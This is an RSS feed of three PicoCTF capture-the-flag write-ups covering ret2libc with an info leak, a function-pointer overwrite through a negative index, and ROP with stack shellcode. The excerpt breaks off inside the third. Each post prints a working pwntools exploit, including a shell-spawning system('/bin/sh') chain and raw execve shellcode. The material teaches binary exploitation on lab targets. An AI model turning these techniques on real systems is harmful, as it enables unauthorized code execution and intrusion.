<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by AdvDebug on Medium]]></title>
        <description><![CDATA[Stories by AdvDebug on Medium]]></description>
        <link>https://medium.com/@AdvDebugy?source=rss-f7bf9f879a9e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Bap95pMdPRu7Jh7YlV1AIA.png</url>
            <title>Stories by AdvDebug on Medium</title>
            <link>https://medium.com/@AdvDebugy?source=rss-f7bf9f879a9e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 05:52:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@AdvDebugy/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PicoCTF - “Here’s a LIBC” CTF Writeup]]></title>
            <link>https://systemweakness.com/picoctf-heres-a-libc-ctf-writeup-6a64c957526a?source=rss-f7bf9f879a9e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a64c957526a</guid>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[AdvDebug]]></dc:creator>
            <pubDate>Wed, 09 Apr 2025 14:28:09 GMT</pubDate>
            <atom:updated>2025-07-15T11:32:25.263Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Everyone! Today, We are gonna solve the Binary Exploitation Challenge called “Here’s a LIBC”.</p><p>This Writeup will teach you how to deal with Mitigations and how you can use an Info Leak to Bypass those Mitigations and peform a ret2libc Attack.</p><p>Without further ado, Let’s get into it!</p><h3>The Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*eC1_PusVvhZYF-cIAe-kQw.png" /></figure><p>Nothing much about the description, so Let’s Download both the vulnerable Binary and the libc Binary and see what we got.</p><p>Upon downloading the Binary, i opened it in IDA (and renamed variables for better readability).</p><pre>int __fastcall __noreturn main(int argc, const char **argv, const char **envp)<br>{<br>  void *allocated_memory; // rsp<br>  char converted_character; // al<br>  char *converted_hello_message; // rdi<br>  const char **argv_variable; // [rsp+0h] [rbp-80h] BYREF<br>  int argc_variable; // [rsp+Ch] [rbp-74h]<br>  char hello_message[40]; // [rsp+10h] [rbp-70h] BYREF<br>  char *converted_characters; // [rsp+38h] [rbp-48h]<br>  __int64 v10; // [rsp+40h] [rbp-40h]<br>  unsigned __int64 loop_variable; // [rsp+48h] [rbp-38h]<br>  __gid_t rgid; // [rsp+54h] [rbp-2Ch]<br>  unsigned __int64 i; // [rsp+58h] [rbp-28h]<br><br>  argc_variable = argc;<br>  argv_variable = argv;<br>  setbuf(_bss_start, 0);<br>  rgid = getegid();<br>  setresgid(rgid, rgid, rgid);<br>  loop_variable = 27;<br>  strcpy(hello_message, &quot;Welcome to my echo server!&quot;);<br>  v10 = 26;<br>  allocated_memory = alloca(32);<br>  converted_characters = (char *)&amp;argv_variable;<br>  for ( i = 0; i &lt; loop_variable; ++i )<br>  {<br>    converted_character = convert_case((unsigned int)hello_message[i], i);<br>    converted_characters[i] = converted_character;<br>  }<br>  converted_hello_message = converted_characters;<br>  puts(converted_characters);<br>  while ( 1 )<br>    do_stuff(converted_hello_message);<br>}</pre><p>The <strong>main()</strong> Function performs some setup and displays a welcome message, but it doesn’t contain anything particularly interesting. But when opening the <strong>do_stuff()</strong> Function, we see the vulnerability right away.</p><pre>int do_stuff()<br>{<br>  char converted_char; // al<br>  char v2; // [rsp+Fh] [rbp-81h] BYREF<br>  char user_input[112]; // [rsp+10h] [rbp-80h] BYREF<br>  __int64 v4; // [rsp+80h] [rbp-10h]<br>  unsigned __int64 i; // [rsp+88h] [rbp-8h]<br><br>  v4 = 0;<br>  __isoc99_scanf(&quot;%[^\n]&quot;, user_input);<br>  __isoc99_scanf(&quot;%c&quot;, &amp;v2);<br>  for ( i = 0; i &lt;= 0x63; ++i )<br>  {<br>    converted_char = convert_case(user_input[i], i);<br>    user_input[i] = converted_char;<br>  }<br>  return puts(user_input);<br>}</pre><p>It indicated a Buffer-Overflow vulnerability because it reads from the user and puts it inside the user_input variable without any restrictions, and after testing with it for a bit we Find that the offset of the Return Address will be 136 or 0x88. So let’s see what is the the Mitigations that is in the Binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*wSutx1_vErYQqU3p8JMlYA.png" /></figure><p>The only Protection Available is NX, so we can’t Execute custom Shellcode from the Stack to achieve Code Execution and get a shell. And when looking at ROP Gadgets to see if we can find any syscall Gadgets or similar, we didn’t find any.</p><p>So we 100% need to look at the libc.so.6 Binary that came with it now and do a ret2libc Attack. let’s see what Mitigations the Binary have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*kSxtHTOA1LXbZubqMOcWuA.png" /></figure><p>And here we got our problem, the PIE Mitigation is Enabled. Which similar to ASLR, Randomizes the Addresses of the libc Module. So we will have to find an Info Leak to leak the system() Function from libc and use it.</p><p>Since the <strong>do_stuff()</strong> function already have a Buffer-Overflow vulnerability, doesn’t have PIE Mitigation, and got some Functions already imported, we can leak the Addresses using GOT.</p><p>So let’s find their Addresses. Firstly, we will need to get the Address of <strong>puts()</strong> to Print the actual Runtime Address of <strong>setresgid()</strong> by passing its GOT entry, thus leaking a libc Address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*Oz_dAxCsleZe5SxnSsRIzg.png" /></figure><p>Here we got the <strong>puts()</strong> Address, we can use it to print <strong>setresgid()</strong> and get it’s Address, and from there we can leak libc Base Address and get whatever Function we want. But we can’t use the extern Function of <strong>setresgid()</strong> to Print the Address, we would need the GOT one. so we click on the Jump to xrefs to operand and then jump to the GOT Section where it contains the Address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*yoEXsBXUwoIGzwyNFqTDRA.png" /></figure><p>And when jumping to it, we get the Address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*ns5-Evuu-tAoC0_BQcCcKw.png" /></figure><p>Great! Now to summarize, we got the Address of <strong>puts()</strong> which is 0x400540 and <strong>setresgid()</strong> which is 0x601020.</p><p>Now we can easily leak the Base Address of libc and use it for the Exploit. Let’s firstly find the pop rdi Gadget so we can set the Address of the <strong>setresgid()</strong> to be the one to print.</p><p>I will use ROPgadget for this. and i find the Gadget right away.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ertzOCCXrXfO1XdXYbNk6Q.png" /></figure><p>And we found the Gadget at 0x400913!</p><p>I also got a ret Gadget since it will come in handy later.</p><pre>pop_rdi = p64(0x400913)<br>ret = p64(0x40052E)</pre><p>i will also collect the Offsets of all the Functions we will need from libc so we can get right into it.</p><pre>setresgid_offset = 0xE5D90<br>system_offset = 0x4F4E0<br>binsh_offset = 0x1B40FA</pre><p>And with that, we can start Exploiting!</p><p>I wrote this Exploit which will Enable us to Execute our ret2libc Attack.</p><pre>from pwn import *<br><br># Host information<br>HOST = &quot;mercury.picoctf.net&quot;<br>PORT = 1774<br><br>p = remote(HOST, PORT)<br><br># Addresses (static)<br>setresgid_got = p64(0x601020)<br>puts = p64(0x400540)<br>main = p64(0x400771)<br><br># Offsets<br>setresgid_offset = 0xE5D90<br>system_offset = 0x4F4E0<br>binsh_offset = 0x1B40FA<br><br># Gadgets<br>pop_rdi = p64(0x400913)<br>ret = p64(0x40052E)<br><br># Recieve initial message<br>print(f&#39;Server Message: &quot;{p.recvuntil(b&quot;sErVeR!&quot;).decode()}&quot;&#39;)<br>p.recvline() # Ignore the useless message<br><br># Prepare the shellcode to leak libc base address<br>print(&quot;[+] Preparing the shellcode to leak libc base address...&quot;)<br>shellcode = b&quot;A&quot;*0x88<br>shellcode += pop_rdi<br>shellcode += setresgid_got # Push the setresgid() function to RDI so puts() can recognize it<br>shellcode += puts # call puts with the setresgid() address to leak it<br>shellcode += main # call main() again for the next stage<br><br># Send the leaking shellcode<br>print(&quot;[+] Sending the shellcode...&quot;)<br>p.sendline(shellcode)<br><br># Ignore message<br>p.recvline()<br><br># Getting libc base and calculating the addresses<br>address = p.recvline()<br>leak = u64(address.strip().ljust(8, b&quot;\x00&quot;))<br><br>print(f&quot;[+] Leaked setresgid() address: {hex(leak)}&quot;)<br>base = leak - setresgid_offset # Subtracting the known offset of setresgid() from the leaked address gives us the libc base address.<br>print(f&quot;[+] Calculated libc base address: {hex(base)}&quot;)<br>system = base + system_offset # calculate the system() function address<br>print(f&quot;[+] Calculated system() offset: {hex(system)}&quot;)<br>binsh_address = base + binsh_offset # calculate /bin/sh string address<br>print(f&quot;[+] Calculated /bin/sh string offset: {hex(binsh_address)}&quot;)<br><br># Preparing the exploit to achieve a shell<br>shellcode = b&quot;A&quot;*0x88 # Padding<br>shellcode += pop_rdi<br>shellcode += p64(binsh_address) # Push the /bin/sh string address to RDI so system() can recognize it<br>shellcode += ret<br>shellcode += p64(system) # call system(&quot;/bin/sh&quot;)<br><br># Send the shellcode<br>print(&quot;[+] Sending the ret2libc shell exploit...\n&quot;)<br>p.sendline(shellcode)<br><br># Ignore the useless messages<br>p.recvline()<br>p.recvline()<br><br>try:<br>    p.sendline(b&quot;whoami&quot;) # Get username<br>    user = p.recv(timeout=3).strip().decode()<br>    <br>    p.sendline(b&quot;pwd&quot;) # Get initial path<br>    path = p.recv(timeout=3).strip().decode()<br>    while True:<br>        command = input(f&quot;{user}@{path} $: &quot;) # Get the user command as an input<br>        p.sendline(command.encode()) # Send the encoded command<br>        <br>        if command.strip() == &quot;cd&quot;:  # Prevent accidental empty `cd`<br>            continue<br>        data = p.recv(timeout=1)  # Try receiving data<br>        if data:<br>            print(f&quot;\n{data.strip().decode(errors=&#39;replace&#39;)}\n&quot;)<br>            <br>        # Update path after each command (in case of `cd /something`)<br>        p.sendline(b&quot;pwd&quot;)<br>        path = p.recv(timeout=1).strip().decode()<br>except EOFError:<br>    print(&quot;[-] Session has ended.&quot;)<br>    exit(0)<br>except Exception as e:<br>    print(f&quot;[-] Error occurred: {e}&quot;)<br>    exit(0)</pre><p>Let’s try and execute it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*Ag9c3cUFvKl_JLrjsnknXA.png" /></figure><p>Voila! we got the Flag!</p><p>And there we have it, a full ret2libc exploit! We identified a Buffer Overflow, Analyzed Binary Mitigations, Leaked a libc Address, and used that to pop a shell with system(&quot;/bin/sh&quot;).</p><p>See you in the next one, and happy pwning! 👾</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a64c957526a" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/picoctf-heres-a-libc-ctf-writeup-6a64c957526a">PicoCTF - “Here’s a LIBC” CTF Writeup</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF - “Function Overwrite” CTF Writeup]]></title>
            <link>https://systemweakness.com/picoctf-function-ovewrite-ctf-writeup-e45560bf48d4?source=rss-f7bf9f879a9e------2</link>
            <guid isPermaLink="false">https://medium.com/p/e45560bf48d4</guid>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[AdvDebug]]></dc:creator>
            <pubDate>Tue, 08 Apr 2025 02:27:52 GMT</pubDate>
            <atom:updated>2025-04-09T10:30:21.921Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Everyone! Today, we are going to solve the Binary Exploitation Challenge called “Function Overwrite”.</p><p>Without further ado, Let’s get into it.</p><h3>The Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*EUlpQFZLUuwpsjk9QRmW3w.png" /></figure><p>After downloading the source and the Binary, i checked the source right away.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;wchar.h&gt;<br>#include &lt;locale.h&gt;<br><br>#define BUFSIZE 64<br>#define FLAGSIZE 64<br><br>int calculate_story_score(char *story, size_t len)<br>{<br>  int score = 0;<br>  for (size_t i = 0; i &lt; len; i++)<br>  {<br>    score += story[i];<br>  }<br><br>  return score;<br>}<br><br>void easy_checker(char *story, size_t len)<br>{<br>  if (calculate_story_score(story, len) == 1337)<br>  {<br>    char buf[FLAGSIZE] = {0};<br>    FILE *f = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br>    if (f == NULL)<br>    {<br>      printf(&quot;%s %s&quot;, &quot;Please create &#39;flag.txt&#39; in this directory with your&quot;,<br>                      &quot;own debugging flag.\n&quot;);<br>      exit(0);<br>    }<br><br>    fgets(buf, FLAGSIZE, f); // size bound read<br>    printf(&quot;You&#39;re 1337. Here&#39;s the flag.\n&quot;);<br>    printf(&quot;%s\n&quot;, buf);<br>  }<br>  else<br>  {<br>    printf(&quot;You&#39;ve failed this class.&quot;);<br>  }<br>}<br><br>void hard_checker(char *story, size_t len)<br>{<br>  if (calculate_story_score(story, len) == 13371337)<br>  {<br>    char buf[FLAGSIZE] = {0};<br>    FILE *f = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br>    if (f == NULL)<br>    {<br>      printf(&quot;%s %s&quot;, &quot;Please create &#39;flag.txt&#39; in this directory with your&quot;,<br>                      &quot;own debugging flag.\n&quot;);<br>      exit(0);<br>    }<br><br>    fgets(buf, FLAGSIZE, f); // size bound read<br>    printf(&quot;You&#39;re 13371337. Here&#39;s the flag.\n&quot;);<br>    printf(&quot;%s\n&quot;, buf);<br>  }<br>  else<br>  {<br>    printf(&quot;You&#39;ve failed this class.&quot;);<br>  }<br>}<br><br>void (*check)(char*, size_t) = hard_checker;<br>int fun[10] = {0};<br><br>void vuln()<br>{<br>  char story[128];<br>  int num1, num2;<br><br>  printf(&quot;Tell me a story and then I&#39;ll tell you if you&#39;re a 1337 &gt;&gt; &quot;);<br>  scanf(&quot;%127s&quot;, story);<br>  printf(&quot;On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n&quot;);<br>  scanf(&quot;%d %d&quot;, &amp;num1, &amp;num2);<br><br>  if (num1 &lt; 10)<br>  {<br>    fun[num1] += num2;<br>  }<br><br>  check(story, strlen(story));<br>}<br> <br>int main(int argc, char **argv)<br>{<br><br>  setvbuf(stdout, NULL, _IONBF, 0);<br><br>  // Set the gid to the effective gid<br>  // this prevents /bin/sh from dropping the privileges<br>  gid_t gid = getegid();<br>  setresgid(gid, gid, gid);<br>  vuln();<br>  return 0;<br>}</pre><p>First of all, here’s what the code does:</p><ol><li>Reads a value from the User and stores it inside the story Buffer that holds 128 characters (limited to 127 from <strong>scanf()</strong>).</li><li>Reads two Integers from the User, The First one that is the Index of the fun variable, and The Second one is the value that is to be written to this Index.</li><li>Checks if the Index provided by the user is greater than 10, in which case it will not allow us to write anything. And if it’s less than 10, it will Allow us to Write freely to the Buffer.</li><li>Call the <strong>check()</strong> Pointer that points to <strong>hard_checker()</strong> which from there it calculates if the Total Number of ASCII characters (Total ASCII values in Integer) is equal to 13371337, if not then we won’t be able to read the Flag.</li></ol><p>And right away we can find the vulnerability, we find that there’s a Global Variable called fun and we control it’s Index and the value to write. and we have an <strong>easy_checker() </strong>Function that allows 1337instead of the complex <strong>hard_checker()</strong> which expects 13371337which is impossible to pass to the program since it can only handle 127, and even if we could i wouldn’t recommend it.</p><p>So, we will need to overwrite the pointer of <strong>check()</strong> to be able to bypass the check, and with the vulnerability we found it allows an Arbitrary Memory Write.</p><p>So if we tried to Write Backwards or Forward (e.g. making the Index -1, or more than what the Buffer can handle) it will write to other portions of the Memory.</p><p><strong>Why?</strong></p><p>Because when you need something written to the Buffer, and there’s no Bounds-Checking, The Data can Overflow or Underflow and this causes this Excess Data to be written to Memory beyond just the Buffer.</p><p>In our case, the program does a Bound-Check to make sure that the Index doesn’t exceed 9 characters in Length, But it doesn’t Check for an Underflow, so we can do an Underflow instead.</p><p>To do that, we will need to Replace the <strong>check()</strong> Pointer with another One (Replace it’s Original Pointer which points to <strong>hard_checker()</strong> with <strong>easy_checker()</strong>instead).</p><p>But let’s see the Binary Security Status first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*4UEXUCZtRUvts9ip-EzAoQ.png" /></figure><p>Perfect! Pie is not enabled, so we can just hardcode the Addresses without worrying if it might get Randomized.</p><p>Let’s fire-up IDA and see their Addresses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*LBb7JiQtOwNqSXruoPbT6w.png" /></figure><p>In IDA, we can see their Addresses and we can measure the Offset of <strong>easy_checker()</strong> easily now. we can measure it by measuring the difference between <strong>hard_checker()</strong> and it’s own Address.</p><p>Why measure them specifically? Because the <strong>check()</strong>pointer points to <strong>hard_checker()</strong>Function, and because of that we gotta measure the difference between them so we can write the offset of <strong>easy_checker()</strong> instead.</p><p>The calculation is gonna be this: 0x80492FC - 0x8049436 which would produce -314 at the end.</p><p>Now that we got the Offset, how do we write the Offset value to the <strong>check()</strong> pointer? we gotta measure the difference again between the fun variable and the <strong>check()</strong> pointer (since we underflow from the fun variable and we want to write to the <strong>check()</strong> pointer that’s why we measure the difference between them).</p><p>And we measure them like this (The Addresses is available from the previous screenshot): (0x804C080 - 0x804C040) // 4which will produce -16.</p><p>With that, we can write the Final Exploit which will Enable us to do an Arbitrary Write to the Pointer and replace it with <strong>easy_checker()</strong>.</p><p>And after that we simply pass “ZZZZZZZZZZZZZZM” to the story input which will correspond to 1337 which will enable us to pass the check.</p><p>Here’s the Final Exploit, containing both the Brute-Forcing Method and The Method that calculates the Offset manually based on the Addresses that we got for fun and <strong>check()</strong>.</p><pre>from pwn import *<br>import re<br><br># Host information<br>HOST = &quot;saturn.picoctf.net&quot;<br>PORT = 60188<br><br># Config<br>context.log_level = &#39;error&#39; # Only show errors when connecting to the server<br><br># Addresses<br>easy_checker_offset = 0x80492FC - 0x8049436 # easy_checker - hard_checker = -314 (offset of easy_check() function)<br>check_ptr_offset = -((0x804C080 - 0x804C040) // 4) # -(fun variable address - check() // 4) = -16 (offset to the check() pointer)<br><br>Option = input(&quot;Choose Exploitation Option.\n\n1. Calculate the Addresses and Offset directly.\n2. Brute-Force the Offset of the check() pointer by Connecting to the Server and Brute-Forcing until we hit the Flag.\n\nOption: &quot;)<br>if Option == &quot;1&quot;:<br>    print(&quot;[+] Connecting to the Challenge Server...&quot;)<br>    host_p = remote(HOST, PORT) # Establish a remote connection<br>    <br>    # Send the crafted value &#39;ZZZZZZZZZZZZZZM&#39; ( Z=90, M = 77 so with that: (90*14) + 77 = 1337 )<br>    print(&quot;[+] Sending the ASCII values that corresponds to 1337...&quot;)<br>    host_p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;Z&quot;*14 + b&quot;M&quot;)<br>    <br>    <br>    # Send the offset and address<br>    print(&quot;[+] Sending the Offset and Address for writing...&quot;)<br>    host_p.sendlineafter(b&quot;10.\n&quot;, str(check_ptr_offset).encode())<br>    host_p.sendline(str(easy_checker_offset).encode())<br>    # Recieve Flag data and check it<br>    response = host_p.recv().decode()<br>    flag_start_index = response.find(&quot;{&quot;)<br>    flag_end_index = response.find(&quot;}&quot;, flag_start_index)<br>    if flag_start_index != -1 and flag_end_index != -1:<br>        # Extract and print the flag<br>        flag = response[flag_start_index + 1:flag_end_index]<br>        print(f&quot;[+] Found the Flag: picoCTF{{{flag}}}.&quot;)<br>    else:<br>        # If flag parsing failed, print the whole response<br>        print(f&quot;[+] Response: {response}&quot;)<br>elif Option == &quot;2&quot;:<br>    # check() pointer offset brute-forcer<br>    for i in range(1, 50):<br>        i = -i  # Set a negative offset<br>        host_p = remote(HOST, PORT)  # Establish a remote connection<br>        <br>        # Send the crafted value &#39;ZZZZZZZZZZZZZZM&#39; ( Z=90, M = 77 so with that: (90*14) + 77 = 1337 )<br>        host_p.sendlineafter(b&quot;&gt;&gt; &quot;, b&quot;Z&quot;*14 + b&quot;M&quot;)<br>        <br>        # Send the offset and address<br>        host_p.sendlineafter(b&quot;10.\n&quot;, str(i).encode())<br>        host_p.sendline(str(easy_checker_offset).encode())<br>        <br>        try:<br>            # Receive the response from the server<br>            response = host_p.recv().decode()<br>            <br>            # Check if the response contains the flag<br>            if &quot;picoCTF&quot; in response:<br>                try:<br>                    # Locate the start and end indices of the flag<br>                    flag_start_index = response.find(&quot;{&quot;)<br>                    flag_end_index = response.find(&quot;}&quot;, flag_start_index)<br>                    <br>                    if flag_start_index != -1 and flag_end_index != -1:<br>                        # Extract and print the flag<br>                        flag = response[flag_start_index + 1:flag_end_index]<br>                        print(f&quot;[+] Found the Flag: picoCTF{{{flag}}} at offset {i}.&quot;)<br>                    else:<br>                        # If flag parsing failed, print the whole response<br>                        print(f&quot;[+] Response: {response}&quot;)<br>                    break  # Exit loop after flag is found<br>                except KeyboardInterrupt:<br>                    # Handle keyboard interrupt<br>                    print(&quot;[-] Keyboard Interrupt detected, exiting.&quot;)<br>                    exit(0)<br>                except Exception:<br>                    # Handle any other errors in flag parsing<br>                    print(&quot;[-] Error occurred while resolving the response for the flag.&quot;)<br>            else:<br>                # If the flag is not found, print a message and continue with the next offset<br>                print(f&quot;[-] didn&#39;t overwrite the check() pointer at offset {i}, continuing.&quot;)<br>        except KeyboardInterrupt:<br>            # Handle keyboard interrupt during communication<br>            print(&quot;[-] Keyboard Interrupt detected, exiting.&quot;)<br>            exit(0)<br>        except Exception:<br>            # Handle any other errors during brute-forcing<br>            print(&quot;[-] Error occurred while brute-forcing the offset, continuing with other offsets.&quot;)<br>            continue  # Continue to the next offset<br>else:<br>    print(&quot;[-] Choose a valid option.&quot;)<br>    exit(0)</pre><p>Every part of the code is documented.</p><p>Let’s test both methods.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*42UwUhGGBR7u0dhIrCZH0g.png" /></figure><p>We got it! Now, let’s test the Brute-Forcer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mrR20VbdZLs-y7BT88G6vQ.png" /></figure><p>And we got the Flag again! Pretty good Challenge that teaches you the basics of Binary Exploitation and Out-of-Bounds writes.</p><p>I hope you had a good time reading and learned something new!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e45560bf48d4" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/picoctf-function-ovewrite-ctf-writeup-e45560bf48d4">PicoCTF - “Function Overwrite” CTF Writeup</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF - ROPfu CTF Writeup (ROP Exploitation Guide)]]></title>
            <link>https://medium.com/@AdvDebugy/picoctf-ropfu-ctf-writeup-5f25a033f0cf?source=rss-f7bf9f879a9e------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f25a033f0cf</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[AdvDebug]]></dc:creator>
            <pubDate>Wed, 02 Apr 2025 03:14:34 GMT</pubDate>
            <atom:updated>2025-04-08T18:45:40.999Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone! Today, we are gonna solve the ROPfu Binary Exploitation Challenge presented by PicoCTF.</p><p>This writeup will teach you a lot about ROP exploitation (and Binary Exploitation in general). this will be a Juicy Writeup with a lot of details. So without further ado, let’s get into it!</p><h3><strong>Challenge Description</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*NpO14K_gGn-LpRq4y5ZHTw.png" /></figure><p>Nothing much about the description, just indicates that this is a ROP (Return-Oriented Programming) Challenge.</p><h4>What is ROP?</h4><p>So, before we dive in, what is even ROP?</p><p>Basically, it’s an indirect way of Executing Code when writing an Exploit, so no Stack Execution is involved, which will Bypass NX (or DEP) Mitigation. And it works by Finding Gadgets in the Vulnerable Binary (or one of it’s Modules) that does a specific action we want before doing a RET, Which will do the next action we want (Since we control the Return Address) and after doing this Action, we find other Gadgets to chain together so we can achieve Code Execution in an Indirect way.</p><p>Say you want to set the value of the EAXRegister to 0x13371991, What do we do to achieve that? Firstly, we would need to find a Gadget that Contains the Following Assembly Code pop eax; ret and After Modifying the Return Address to this Gadget Address, we set whatever value we want like, Take For Example 0x13371991.</p><p>The exploit will be something like this: “\x90”*offset + hardcoded_gadget_return_address + 0x13371991and this would POP the value of 0x13371991 to EAX, So when chaining Multiple Gadgets together, we can still achieve Code Execution and do what we want using those Gadgets, Even if we don’t provide the Shellcode Directly.</p><p>And it shouldn’t be necessarily pop eax; ret , We can even use the ones that have other Registers and them and when popping we just put random Values/Junk to the Register we don’t need, for example a gadget that have pop eax; pop ebx; ret The Exploit will be “\x90”*offset + hardcoded_gadget_return_address + 0x13371991 (EAX) + 0x43434343 (EBX, we put junk since we don&#39;t need it) and we can still set values.</p><p>This wouldn’t work that way in most real-world scenarios because of ASLR/PIE that Randomizes Memory Addresses, etc.</p><p>And you won’t be able to just Hard-Code the Addresses of the Gadgets (you will have to find an Info Leak, or if it’s not High-Entropy then a Brute-Force is feasible).</p><p>Basically it’s a whole other story, but you still get an idea of what ROP itself is capable of, Basically imagine it as Executing Code in an Indirect way.</p><h4>The Challenge</h4><p>So, back to the challenge. After Downloading the Binary and the source, i look at the source which was pretty-straightforward and indicated a Buffer-Overflow vulnerability.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;sys/types.h&gt;<br><br>#define BUFSIZE 16<br><br>void vuln() {<br>  char buf[16];<br>  printf(&quot;How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n&quot;);<br>  return gets(buf);<br>}<br><br>int main(int argc, char **argv){<br><br>  setvbuf(stdout, NULL, _IONBF, 0);<br><br>  // Set the gid to the effective gid<br>  // this prevents /bin/sh from dropping the privileges<br>  gid_t gid = getegid();<br>  setresgid(gid, gid, gid);<br>  vuln();<br>}</pre><p>After looking at the binary itself, and checking it’s Security Status, we see that it is an x86 Binary that have Canary Enabled, NX Disabled, and PIE also Disabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*xbKJ73c12knnP6BuaTBoRg.png" /></figure><p>What is canary, you might ask?</p><p>Canary is a secret value, right before the Return Address that ensure that the Stack hasn’t been Tampered with. if any Tampering is Detected, the Program Terminates.</p><p>Below is an overview of this, which shows that the Canary value is right before the Return Address to check if it has been Tampered with or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*jtC1eBp2AzCzJx0nabRnMA.png" /></figure><p>But, after looking in IDA, we can see that canary is Disabled for the <strong>vuln()</strong> function, which would make our lives a whole lot easier.</p><p>Everything seems straight-forward so far, NX is Disabled, PIE is Disabled, and Canary is also disabled for the vulnerable function. so let’s investigate more!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*D7R3tUV4K6zOvpsdT_jLlA.png" /></figure><p>We can see that the Buffer Size is 16 (from the source), and after opening it in IDA and looking a bit more, we can see that in Addition to that, there’s 2 unknown variables that takes up 4 bytes each.</p><p>And at the end is the Stack Frame (EBP) so that would be 4 too, so the offset to be able to overwrite the Return Address will be 28.</p><p>All we need to do now, is Find a jmp esp Gadget that would jump to our Shellcode from the stack (ESP).</p><p>I used ROPgadget for this. but when i tried to search for one, i didn’t find any.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e5ZHdRjdTPHPQqKRtfAxGg.png" /></figure><p>So, we will have to search for a jmp eax Gadget (which would jump to our Buffer). Then from that Buffer we insert NOP characters, and at the very end i put the 2 bytes (jmp esp Shellcode), so that it jumps to the Stack where it will Finally Execute our Shellcode, and that would give us a Shell.</p><p>When searching for jmp eax Gadgets, i found plenty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W14w6rGyEu2UWTt_SwbLeQ.png" /></figure><p>So, i just got the First Address and work with that. so now our Exploit would be something like this:</p><pre>from pwn import *<br><br># Host Information<br>HOST = &quot;saturn.picoctf.net&quot;<br>PORT = 53675<br><br># Gadget<br>jmp_eax = p32(0x0805333b) # the &#39;jmp eax&#39; gadget which will help us jump to the stack for execution. used because there is no &#39;jmp esp&#39; gadget in the binary found.<br><br>print(&quot;[+] Generating shellcode...&quot;)<br>payload = b&quot;A&quot;*26 # padding<br>payload += b&quot;\xFF\xE4&quot; # jmp esp (to jump to the stack for execution and running the payload)<br>payload += jmp_eax # the return address which will jump to the code above, which will trigger the jump to ESP (where our shellcode is located below).<br>payload += b&quot;\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68&quot; # /bin/sh shellcode<br><br>print(&quot;[+] Connecting to the challenge instance...&quot;)<br><br>p = remote(HOST, 